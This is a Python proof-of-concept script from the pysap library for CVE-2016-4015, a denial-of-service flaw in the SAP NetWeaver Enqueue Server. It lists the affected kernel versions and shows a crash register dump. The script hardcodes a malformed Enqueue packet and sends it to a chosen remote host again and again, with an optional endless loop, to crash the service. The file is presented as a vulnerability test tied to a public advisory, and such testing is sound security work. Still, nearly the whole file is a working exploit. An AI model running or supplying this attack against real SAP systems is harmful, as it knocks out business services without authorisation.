#!/usr/bin/env python
# ===========
# pysap - Python library for crafting SAP's network protocols packets
#
# Copyright (C) 2012-2017 by Martin Gallo, Core Security
#
# CVE and PoC by Vahagn Vardanyan
#
# The library was designed and developed by Martin Gallo from the Security
# Consulting Services team of Core Security.
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# ==============

"""
vulnerable SAP packages 
SAP KERNEL 7.21 32-BIT
SAP KERNEL 7.21 32-BIT UNICODE
SAP KERNEL 7.21 64-BIT
SAP KERNEL 7.21 64-BIT UNICODE
SAP KERNEL 7.21 EXT 32-BIT
SAP KERNEL 7.21 EXT 32-BIT UC	
SAP KERNEL 7.21 EXT 64-BIT
SAP KERNEL 7.21 EXT 64-BIT UC	
SAP KERNEL 7.22 64-BIT
SAP KERNEL 7.22 64-BIT UNICODE
SAP KERNEL 7.22 EXT 64-BIT
SAP KERNEL 7.22 EXT 64-BIT UC
SAP KERNEL 7.42 64-BIT
SAP KERNEL 7.42 64-BIT UNICODE
SAP KERNEL 7.45 64-BIT
SAP KERNEL 7.45 64-BIT UNICODE
SAP KERNEL 7.46 64-BIT UNICODE
SAP KERNEL 7.47 64-BIT UNICODE

Well works on Windows and Linux platforms

0:009> r
rax=00ffffffffffffff rbx=000000003ca9d9f0 rcx=000000000743f541
rdx=0000000000000001 rsi=0000000000000003 rdi=000000003cae4300
rip=000000013f0cdb75 rsp=000000000743f4b0 rbp=0000000000000000
 r8=0000000000000360  r9=0000000000000000 r10=0000000000000132
r11=000000000743f270 r12=000000000743f541 r13=000000003ca9d9f0
r14=0000000000000000 r15=000000013f3d5d00
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
enserver!IOThread::WalkNet+0x575:
00000001`3f0cdb75 ff10            call    qword ptr [rax] ds:00ffffff`ffffffff=????????????????
"""

# Standard imports
import logging
from time import sleep
from socket import error as SocketError
from optparse import OptionParser, OptionGroup
# External imports
from scapy.packet import Raw
from scapy.config import conf
# Custom imports
import pysap
from pysap.SAPEnqueue import SAPEnqueue
from pysap.SAPRouter import SAPRoutedStreamSocket


# Set the verbosity to 0
conf.verb = 0


# Command line options parser
def parse_options():

    description = "This example script can be used to tests against CVE-2016-4015 Denial of Service vulnerability" \
                  "affecting the Enqueue service. For more details about the vulnerability see Advisory " \
                  "https://erpscan.com/advisories/erpscan-16-019-sap-netweaver-enqueue-server-dos-vulnerability/."

    epilog = "pysap %(version)s - %(url)s - %(repo)s" % {"version": pysap.__version__,
                                                         "url": pysap.__url__,
                                                         "repo": pysap.__repo__}

    usage = "Usage: %prog [options] -d <remote host>"

    parser = OptionParser(usage=usage, description=description, epilog=epilog)

    target = OptionGroup(parser, "Target")
    target.add_option("-d", "--remote-host", dest="remote_host",
                      help="Remote host")
    target.add_option("-p", "--remote-port", dest="remote_port", type="int", default=3200,
                      help="Remote port [%default]")
    target.add_option("--route-string", dest="route_string",
                      help="Route string for connecting through a SAP Router")
    parser.add_option_group(target)

    misc = OptionGroup(parser, "Misc options")
    misc.add_option("-l", "--loop", dest="loop", action="store_true", default=False,
                    help="Loop until the user cancel (Ctrl+C) [%default]")
    misc.add_option("-n", "--number", dest="number", type="int", default=10,
                    help="Number of packets to send [%default]")
    misc.add_option("-t", "--time", dest="delay", type="int", default=5,
                    help="Time to wait between each round [%default]")
    misc.add_option("-v", "--verbose", dest="verbose", action="store_true", default=False,
                    help="Verbose output [%default]")
    misc.add_option("--terminal", dest="terminal", default=None,
                    help="Terminal name")
    parser.add_option_group(misc)

    (options, _) = parser.parse_args()

    if not (options.remote_host or options.route_string):
        parser.error("Remote host or route string is required")

    return options


def send_crash(host, port, item, verbose, route=None):
    # Create the connection to the SAP Netweaver server
    if verbose:
        print("[*] Sending crash")
    # Initiate the connection
    conn = SAPRoutedStreamSocket.get_nisocket(host, port, route, base_cls=SAPEnqueue)
    conn.send(item)


# Main function
def main():
    options = parse_options()

    if options.verbose:
        logging.basicConfig(level=logging.DEBUG)

    print("[*] Testing Enqueue Server CVE-2016-4015 DoS vulnerability on host %s:%d" % (options.remote_host,
                                                                                        options.remote_port))

    # Crafting the item
    payload = Raw("\x06\x01\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x04\x00\x00"
                  "\x00\x00\x00\x03Vahagn-pc_5276_0\x00\x00\x00\x00\x02\x00\x00\x00;\x00\x00\x00\x05\x00\x00\x00\x03"
                  "\x00\x00\x00\x06\x00\x00\x00\x04\x00\x00\x00\x01")
    item = SAPEnqueue(len_frag=89, id=0, more_frags=129, type=187, dest=243, len=89, opcode=160)/payload

    try:
        if options.loop:
            try:
                while True:
                    send_crash(options.remote_host, options.remote_port, item, options.verbose, options.route_string)
                    sleep(options.delay)
            except KeyboardInterrupt:
                print("[*] Cancelled by the user")
        else:
            for i in range(options.number):
                send_crash(options.remote_host, options.remote_port, item, options.verbose, options.route_string)
                sleep(options.delay)

    except SocketError:
        print("[*] Connection error, take a look at the enqueue server process !")


if __name__ == "__main__":
    main()
